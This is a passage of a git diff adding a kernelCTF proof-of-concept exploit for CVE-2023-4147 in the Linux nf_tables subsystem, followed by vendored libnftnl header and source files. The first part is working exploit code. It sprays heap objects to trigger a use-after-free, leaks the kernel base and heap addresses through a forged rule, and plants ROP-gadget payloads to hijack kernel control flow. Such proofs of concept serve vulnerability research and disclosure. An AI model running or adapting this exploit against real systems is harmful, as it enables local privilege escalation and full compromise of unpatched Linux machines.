0x1000); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_delay); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < SET_DELAY_ELEM/2; i++){ + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = SET_DELAY_ELEM/2; i < SET_DELAY_ELEM; i++){ + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0 ; i < VICTIM_SPARY_COUNT; i++){ + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chains_victim2[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_target); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_victim); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set1); + mnl_nlmsg_batch_next(batch); + + for(int i = 0 ; i < VICTIM_SPARY_COUNT/2; i++){ + for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_target); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rules_victim2[i]); + mnl_nlmsg_batch_next(batch); + + for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_target); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rules_bind_victim_victim2[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem); + mnl_nlmsg_batch_next(batch); + + for(int i = VICTIM_SPARY_COUNT/2 ; i < VICTIM_SPARY_COUNT; i++){ + for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_target); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rules_victim2[i]); + mnl_nlmsg_batch_next(batch); + + for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_target); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rules_bind_victim_victim2[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2_del); + mnl_nlmsg_batch_next(batch); + + // create a delay to spray sets_rbtree[] + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSET, family, 0, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_delay); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSETELEM, family, 0, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work start + usleep(10 * 1000); + + for(int i = 0; i < SET_SPRAY_COUNT; i++){ + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, sets_rbtree[i]); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + } + + // wait for destroy work done + usleep(1000*1000); + + // spray nft_table->udata to kmalloc-cg-192 + struct nftnl_table * tables_fake_rule[FAKE_RULE_SPRAY_COUNT] = {0,}; + + uint64_t *fake_rule_data = malloc(1024); + memset(fake_rule_data, 'c', 1024); + + fake_rule_data[2] = 0xffff; // fake rule handle + fake_rule_data[2] |= (unsigned long) 1 << 56; + fake_rule_data[3] = 0xff; + + for(int i = 0; i < FAKE_RULE_SPRAY_COUNT; i++){ + char *table_name; + asprintf(&table_name, "fake_rule_192_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, fake_rule_data, 192); + + tables_fake_rule[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < FAKE_RULE_SPRAY_COUNT; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables_fake_rule[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // do leak + struct nftnl_rule * rule_get; + + for(int i = 0; i < VICTIM_SPARY_COUNT; i++){ + asprintf(&chain_victim2_name, "c_%010hx", i); + + rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table2_name); + nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain_victim2_name); + nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, 0xffff); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + memset(read_data, 0, 0x400); + + ret = mnl_socket_recvfrom(nl, read_data, 0x400); + + if(read_data[0x50] == 'c'){ + heap_addr1 = *(unsigned long*) &read_data[0xef]; + heap_addr2 = *(unsigned long*) &read_data[0xf7]; + + if(((heap_addr1 & 0xfff) % 0xc0) == 0) + heap_addr = heap_addr1; + else if(((heap_addr2 & 0xfff) % 0xc0) == 0) + heap_addr = heap_addr2; + else + heap_addr = 0; + + nft_counter_ops = *(unsigned long*) &read_data[0x107]; + + if(nft_counter_ops > 0xffffffff00000000) + kbase = nft_counter_ops - nft_counter_ops_off; + + break; + } + } + + printf("kbase %lx heap_addr %lx\n", kbase, heap_addr); + + if(kbase == 0){ + return; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_target_del); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work + usleep(500 * 1000); + + // spray nft_table->udata to kmalloc-cg-192 + struct nftnl_table * tables_rip_control[VICTIM_SPARY_COUNT*16] = {0,}; + + uint64_t *rip_control_data = malloc(1024); + + make_payload(rip_control_data); + + for(int i = 0; i < VICTIM_SPARY_COUNT*16; i++){ + char *table_name; + asprintf(&table_name, "t_rip_192_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, rip_control_data, 192); + + tables_rip_control[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < VICTIM_SPARY_COUNT*16; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables_rip_control[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_delay); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < SET_DELAY_ELEM/2; i++){ + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = SET_DELAY_ELEM/2; i < SET_DELAY_ELEM; i++){ + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + rule_bind_chain_1_2_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_bind_chain_1_2_del, NFTNL_RULE_HANDLE, 0xa); + + // spray nft_table->udata to kmalloc-cg-256 + struct nftnl_table * tables_fake_expr[FAKE_EXPR_SPRAY_COUNT] = {0,}; + + uint64_t *fake_expr_data = malloc(1024); + + memset(fake_expr_data, 'e', 1024); + + fake_expr_data[3] = heap_addr; + fake_expr_data[4] = kbase + pop_rsp_ret; + fake_expr_data[5] = heap_addr; + + for(int i = 0; i < FAKE_EXPR_SPRAY_COUNT; i++){ + char *table_name; + asprintf(&table_name, "st2_256_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, fake_expr_data, 256); + + tables_fake_expr[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set1); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < FAKE_EXPR_SPRAY_COUNT/2; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables_fake_expr[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem); + mnl_nlmsg_batch_next(batch); + + for(int i = FAKE_EXPR_SPRAY_COUNT/2; i < FAKE_EXPR_SPRAY_COUNT; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables_fake_expr[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2_del); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSETELEM, family, 0, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_del); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSET, family, 0, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_delay); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSETELEM, family, 0, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work start + usleep(10*1000); + + for(int i = 0; i < SET_SPRAY_COUNT; i++){ + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, sets_rbtree2[i]); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + } + + // wait for destroy work done + usleep(1000*1000); + + struct nftnl_rule * rule_counter = nftnl_rule_alloc(); + + char rule_counter_data[0x100] = {0,}; + + *(unsigned long*)(rule_counter_data+6) = kbase + pop_rsp_pop_r13_pop_r14_pop_r15_ret; + + make_payload2(rule_counter_data+0xf); + + nftnl_rule_set_str(rule_counter, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_counter, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_data(rule_counter, NFTNL_RULE_USERDATA, rule_counter_data, 256); + + expr_counter = nftnl_expr_alloc("counter"); + nftnl_rule_add_expr(rule_counter, expr_counter); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_counter); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + usleep(1000*1000); +} + +void netfilter(){ + save_state(); + + for(int i = 0; i < 10; i++){ + new_ns(); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + + portid = mnl_socket_get_portid(nl); + + trig(); + } + + mnl_socket_close(nl); +} + +int main(int argc, char ** argv) +{ + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } + + netfilter(); + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/libnftnl_rule.h b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/libnftnl_rule.h new file mode 100644 index 00000000..ff6cab7b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/libnftnl_rule.h @@ -0,0 +1,103 @@ +#ifndef _LIBNFTNL_RULE_H_ +#define _LIBNFTNL_RULE_H_ + +#include +#include +#include +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +struct nftnl_rule; +struct nftnl_expr; + +struct nftnl_rule *nftnl_rule_alloc(void); +void nftnl_rule_free(const struct nftnl_rule *); + +enum nftnl_rule_attr { + NFTNL_RULE_FAMILY = 0, + NFTNL_RULE_TABLE, + NFTNL_RULE_CHAIN, + NFTNL_RULE_CHAIN_ID, + NFTNL_RULE_HANDLE, + NFTNL_RULE_COMPAT_PROTO, + NFTNL_RULE_COMPAT_FLAGS, + NFTNL_RULE_POSITION, + NFTNL_RULE_USERDATA, + NFTNL_RULE_ID, + NFTNL_RULE_POSITION_ID, + __NFTNL_RULE_MAX +}; +#define NFTNL_RULE_MAX (__NFTNL_RULE_MAX - 1) + +void nftnl_rule_unset(struct nftnl_rule *r, uint16_t attr); +bool nftnl_rule_is_set(const struct nftnl_rule *r, uint16_t attr); +int nftnl_rule_set(struct nftnl_rule *r, uint16_t attr, const void *data) __attribute__((deprecated)); +int nftnl_rule_set_data(struct nftnl_rule *r, uint16_t attr, + const void *data, uint32_t data_len); +void nftnl_rule_set_u32(struct nftnl_rule *r, uint16_t attr, uint32_t val); +void nftnl_rule_set_u64(struct nftnl_rule *r, uint16_t attr, uint64_t val); +int nftnl_rule_set_str(struct nftnl_rule *r, uint16_t attr, const char *str); + +const void *nftnl_rule_get(const struct nftnl_rule *r, uint16_t attr); +const void *nftnl_rule_get_data(const struct nftnl_rule *r, uint16_t attr, + uint32_t *data_len); +const char *nftnl_rule_get_str(const struct nftnl_rule *r, uint16_t attr); +uint8_t nftnl_rule_get_u8(const struct nftnl_rule *r, uint16_t attr); +uint32_t nftnl_rule_get_u32(const struct nftnl_rule *r, uint16_t attr); +uint64_t nftnl_rule_get_u64(const struct nftnl_rule *r, uint16_t attr); + +void nftnl_rule_add_expr(struct nftnl_rule *r, struct nftnl_expr *expr); +void nftnl_rule_del_expr(struct nftnl_expr *expr); + +struct nlmsghdr; + +void nftnl_rule_nlmsg_build_payload(struct nlmsghdr *nlh, struct nftnl_rule *t); + +int nftnl_rule_parse(struct nftnl_rule *r, enum nftnl_parse_type type, + const char *data, struct nftnl_parse_err *err); +int nftnl_rule_parse_file(struct nftnl_rule *r, enum nftnl_parse_type type, + FILE *fp, struct nftnl_parse_err *err); +int nftnl_rule_snprintf(char *buf, size_t size, const struct nftnl_rule *t, uint32_t type, uint32_t flags); +int nftnl_rule_fprintf(FILE *fp, const struct nftnl_rule *r, uint32_t type, uint32_t flags); + +#define nftnl_rule_nlmsg_build_hdr nftnl_nlmsg_build_hdr +int nftnl_rule_nlmsg_parse(const struct nlmsghdr *nlh, struct nftnl_rule *t); + +int nftnl_expr_foreach(struct nftnl_rule *r, + int (*cb)(struct nftnl_expr *e, void *data), + void *data); + +struct nftnl_expr_iter; + +struct nftnl_expr_iter *nftnl_expr_iter_create(const struct nftnl_rule *r); +struct nftnl_expr *nftnl_expr_iter_next(struct nftnl_expr_iter *iter); +void nftnl_expr_iter_destroy(struct nftnl_expr_iter *iter); + +struct nftnl_rule_list; + +struct nftnl_rule_list *nftnl_rule_list_alloc(void); +void nftnl_rule_list_free(struct nftnl_rule_list *list); +int nftnl_rule_list_is_empty(const struct nftnl_rule_list *list); +void nftnl_rule_list_add(struct nftnl_rule *r, struct nftnl_rule_list *list); +void nftnl_rule_list_add_tail(struct nftnl_rule *r, struct nftnl_rule_list *list); +void nftnl_rule_list_insert_at(struct nftnl_rule *r, struct nftnl_rule *pos); +void nftnl_rule_list_del(struct nftnl_rule *r); +int nftnl_rule_list_foreach(struct nftnl_rule_list *rule_list, int (*cb)(struct nftnl_rule *t, void *data), void *data); + +struct nftnl_rule_list_iter; + +struct nftnl_rule_list_iter *nftnl_rule_list_iter_create(const struct nftnl_rule_list *l); +struct nftnl_rule *nftnl_rule_list_iter_cur(struct nftnl_rule_list_iter *iter); +struct nftnl_rule *nftnl_rule_list_iter_next(struct nftnl_rule_list_iter *iter); +void nftnl_rule_list_iter_destroy(const struct nftnl_rule_list_iter *iter); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif /* _LIBNFTNL_RULE_H_ */ diff --git a/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/rule.c b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/rule.c new file mode 100644 index 00000000..a4f0175c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_mitigation/exploit/mitigation-6.1/rule.c @@ -0,0 +1,890 @@ +/* + * (C) 2012-2013 by Pablo Neira Ayuso + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This code has been sponsored by Sophos Astaro + */ +#include "internal.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include + +EXPORT_SYMBOL(nftnl_rule_alloc); +struct nftnl_rule *nftnl_rule_alloc(void) +{ + struct nftnl_rule *r; + + r = calloc(1, sizeof(struct nftnl_rule)); + if (r == NULL) + return NULL; + + INIT_LIST_HEAD(&r->expr_list); + + return r; +} + +EXPORT_SYMBOL(nftnl_rule_free); +void nftnl_rule_free(const struct nftnl_rule *r) +{ + struct nftnl_expr *e, *tmp; + + list_for_each_entry_safe(e, tmp, &r->expr_list, head) + nftnl_expr_free(e); + + if (r->flags & (1 << (NFTNL_RULE_TABLE))) + xfree(r->table); + if (r->flags & (1 << (NFTNL_RULE_CHAIN))) + xfree(r->chain); + if (r->flags & (1 << (NFTNL_RULE_USERDATA))) + xfree(r->user.data); + + xfree(r); +} + +EXPORT_SYMBOL(nftnl_rule_is_set); +bool 